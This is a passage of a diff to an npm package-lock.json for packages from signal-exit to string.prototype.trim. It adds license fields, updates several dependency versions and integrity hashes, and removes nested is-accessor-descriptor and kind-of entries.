       "version": "3.0.7",
       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
       "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/simple-concat": {
       "version": "1.0.1",
@@ -7785,19 +8854,22 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/sisteransi": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
       "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/slash": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz",
       "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -7807,6 +8879,7 @@
       "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz",
       "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^3.2.0",
         "astral-regex": "^1.0.0",
@@ -7821,6 +8894,7 @@
       "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
       "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "base": "^0.11.1",
         "debug": "^2.2.0",
@@ -7840,6 +8914,7 @@
       "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
       "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "define-property": "^1.0.0",
         "isobject": "^3.0.0",
@@ -7854,6 +8929,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
       "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^1.0.0"
       },
@@ -7866,6 +8942,7 @@
       "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
       "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "kind-of": "^3.2.0"
       },
@@ -7878,6 +8955,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
       "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-buffer": "^1.1.5"
       },
@@ -7890,6 +8968,7 @@
       "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
       "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "2.0.0"
       }
@@ -7899,6 +8978,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
       "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^0.1.0"
       },
@@ -7911,6 +8991,7 @@
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
       "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-extendable": "^0.1.0"
       },
@@ -7918,66 +8999,18 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/snapdragon/node_modules/is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/snapdragon/node_modules/is-accessor-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/snapdragon/node_modules/is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/snapdragon/node_modules/is-data-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/snapdragon/node_modules/is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+      "version": "0.1.7",
+      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.7.tgz",
+      "integrity": "sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
+        "is-accessor-descriptor": "^1.0.1",
+        "is-data-descriptor": "^1.0.1"
       },
       "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
       }
     },
     "node_modules/snapdragon/node_modules/is-extendable": {
@@ -7985,15 +9018,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/snapdragon/node_modules/kind-of": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-      "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
-      "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8002,13 +9027,15 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
       "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/source-map": {
       "version": "0.5.7",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
       "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8019,6 +9046,7 @@
       "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
       "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "atob": "^2.1.2",
         "decode-uri-component": "^0.2.0",
@@ -8032,6 +9060,7 @@
       "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
       "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "buffer-from": "^1.0.0",
         "source-map": "^0.6.0"
@@ -8042,6 +9071,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -8051,48 +9081,55 @@
       "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz",
       "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==",
       "deprecated": "See https://github.com/lydell/source-map-url#deprecated",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/sourcemap-codec": {
       "version": "1.4.8",
       "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
       "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==",
       "deprecated": "Please use @jridgewell/sourcemap-codec instead",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/spdx-correct": {
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz",
       "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==",
+      "license": "Apache-2.0",
       "dependencies": {
         "spdx-expression-parse": "^3.0.0",
         "spdx-license-ids": "^3.0.0"
       }
     },
     "node_modules/spdx-exceptions": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz",
-      "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A=="
+      "version": "2.5.0",
+      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz",
+      "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==",
+      "license": "CC-BY-3.0"
     },
     "node_modules/spdx-expression-parse": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
       "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
+      "license": "MIT",
       "dependencies": {
         "spdx-exceptions": "^2.1.0",
         "spdx-license-ids": "^3.0.0"
       }
     },
     "node_modules/spdx-license-ids": {
-      "version": "3.0.13",
-      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.13.tgz",
-      "integrity": "sha512-XkD+zwiqXHikFZm4AX/7JSCXA98U5Db4AFd5XUg/+9UNtnH75+Z9KxtpYiJZx36mUDVOwH83pl7yvCer6ewM3w=="
+      "version": "3.0.21",
+      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz",
+      "integrity": "sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==",
+      "license": "CC0-1.0"
     },
     "node_modules/split-string": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
       "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "extend-shallow": "^3.0.0"
       },
@@ -8104,13 +9141,15 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
       "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
-      "dev": true
+      "dev": true,
+      "license": "BSD-3-Clause"
     },
     "node_modules/sshpk": {
-      "version": "1.17.0",
-      "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.17.0.tgz",
-      "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==",
+      "version": "1.18.0",
+      "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.18.0.tgz",
+      "integrity": "sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "asn1": "~0.2.3",
         "assert-plus": "^1.0.0",
@@ -8136,6 +9175,7 @@
       "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-1.0.5.tgz",
       "integrity": "sha512-KZiTzuV3CnSnSvgMRrARVCj+Ht7rMbauGDK0LdVFRGyenwdylpajAp4Q0i6SX8rEmbTpMMf6ryq2gb8pPq2WgQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^2.0.0"
       },
@@ -8148,17 +9188,62 @@
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
       "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/static-eval": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/static-eval/-/static-eval-2.1.0.tgz",
-      "integrity": "sha512-agtxZ/kWSsCkI5E4QifRwsaPs0P0JmZV6dkLz6ILYfFYQGn+5plctanRN+IC8dJRiFkyXHrwEE3W9Wmx67uDbw==",
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/static-eval/-/static-eval-2.1.1.tgz",
+      "integrity": "sha512-MgWpQ/ZjGieSVB3eOJVs4OA2LT/q1vx98KPCTTQPzq/aLr0YUXTsgryTXr4SLfR0ZfUUCiedM9n/ABeDIyy4mA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "escodegen": "^1.11.1"
+        "escodegen": "^2.1.0"
+      }
+    },
+    "node_modules/static-eval/node_modules/escodegen": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
+      "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "esprima": "^4.0.1",
+        "estraverse": "^5.2.0",
+        "esutils": "^2.0.2"
+      },
+      "bin": {
+        "escodegen": "bin/escodegen.js",
+        "esgenerate": "bin/esgenerate.js"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "optionalDependencies": {
+        "source-map": "~0.6.1"
+      }
+    },
+    "node_modules/static-eval/node_modules/estraverse": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
+      "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=4.0"
+      }
+    },
+    "node_modules/static-eval/node_modules/source-map": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "dev": true,
+      "license": "BSD-3-Clause",
+      "optional": true,
+      "engines": {
+        "node": ">=0.10.0"
       }
     },
     "node_modules/static-extend": {
@@ -8166,6 +9251,7 @@
       "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
       "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "define-property": "^0.2.5",
         "object-copy": "^0.1.0"
@@ -8179,6 +9265,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
       "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^0.1.0"
       },
@@ -8186,75 +9273,18 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/static-extend/node_modules/is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/static-extend/node_modules/is-accessor-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/static-extend/node_modules/is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/static-extend/node_modules/is-data-descriptor/node_modules/kind-of": {
-      "version": "3.2.2",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-      "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
-      "dev": true,
-      "dependencies": {
-        "is-buffer": "^1.1.5"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/static-extend/node_modules/is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+      "version": "0.1.7",
+      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.7.tgz",
+      "integrity": "sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
+        "is-accessor-descriptor": "^1.0.1",
+        "is-data-descriptor": "^1.0.1"
       },
       "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/static-extend/node_modules/kind-of": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-      "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
       }
     },
     "node_modules/static-module": {
@@ -8262,6 +9292,7 @@
       "resolved": "https://registry.npmjs.org/static-module/-/static-module-3.0.4.tgz",
       "integrity": "sha512-gb0v0rrgpBkifXCa3yZXxqVmXDVE+ETXj6YlC/jt5VzOnGXR2C15+++eXuMDUYsePnbhf+lwW0pE1UXyOLtGCw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "acorn-node": "^1.3.0",
         "concat-stream": "~1.6.0",
@@ -8283,22 +9314,39 @@
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
       "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/stealthy-require": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz",
       "integrity": "sha512-ZnWpYnYugiOVEY5GkcuJK1io5V8QmNYChG62gSit9pQVGErXtrKuPC55ITaVSukmMta5qpMU7vqLt2Lnni4f/g==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">=0.10.0"
       }
     },
+    "node_modules/stop-iteration-iterator": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz",
+      "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "internal-slot": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/stream-browserify": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz",
       "integrity": "sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "~2.0.1",
         "readable-stream": "^2.0.2"
@@ -8309,6 +9357,7 @@
       "resolved": "https://registry.npmjs.org/stream-combiner2/-/stream-combiner2-1.1.1.tgz",
       "integrity": "sha512-3PnJbYgS56AeWgtKF5jtJRT6uFJe56Z0Hc5Ngg/6sI6rIt8iiMBTa9cvdyFfpMQjaVHr8dusbNeFGIIonxOvKw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "duplexer2": "~0.1.0",
         "readable-stream": "^2.0.2"
@@ -8319,6 +9368,7 @@
       "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-3.2.0.tgz",
       "integrity": "sha512-Oq1bLqisTyK3TSCXpPbT4sdeYNdmyZJv1LxpEm2vu1ZhK89kSE5YXwZc3cWk0MagGaKriBh9mCFbVGtO+vY29A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "builtin-status-codes": "^3.0.0",
         "inherits": "^2.0.4",
@@ -8331,6 +9381,7 @@
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
       "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.3",
         "string_decoder": "^1.1.1",
@@ -8345,6 +9396,7 @@
       "resolved": "https://registry.npmjs.org/stream-splicer/-/stream-splicer-2.0.1.tgz",
       "integrity": "sha512-Xizh4/NPuYSyAXyT7g8IvdJ9HJpxIGL9PjyhtywCZvvP0OPIdqyrr4dMikeuvY8xahpdKEBlBTySe583totajg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.1",
         "readable-stream": "^2.0.2"
@@ -8355,6 +9407,7 @@
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
       "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.2.0"
       }
@@ -8364,6 +9417,7 @@
       "resolved": "https://registry.npmjs.org/string-length/-/string-length-2.0.0.tgz",
       "integrity": "sha512-Qka42GGrS8Mm3SZ+7cH8UXiIWI867/b/Z/feQSpQx/rbfB8UGknGEZVaUQMOUVj+soY6NpWAxily63HI1OckVQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "astral-regex": "^1.0.0",
         "strip-ansi": "^4.0.0"
@@ -8377,6 +9431,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
       "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-fullwidth-code-point": "^2.0.0",
         "strip-ansi": "^4.0.0"
@@ -8386,14 +9441,19 @@
       }
     },
     "node_modules/string.prototype.trim": {
-      "version": "1.2.7",
-      "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz",
-      "integrity": "sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg==",
+      "version": "1.2.10",
+      "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
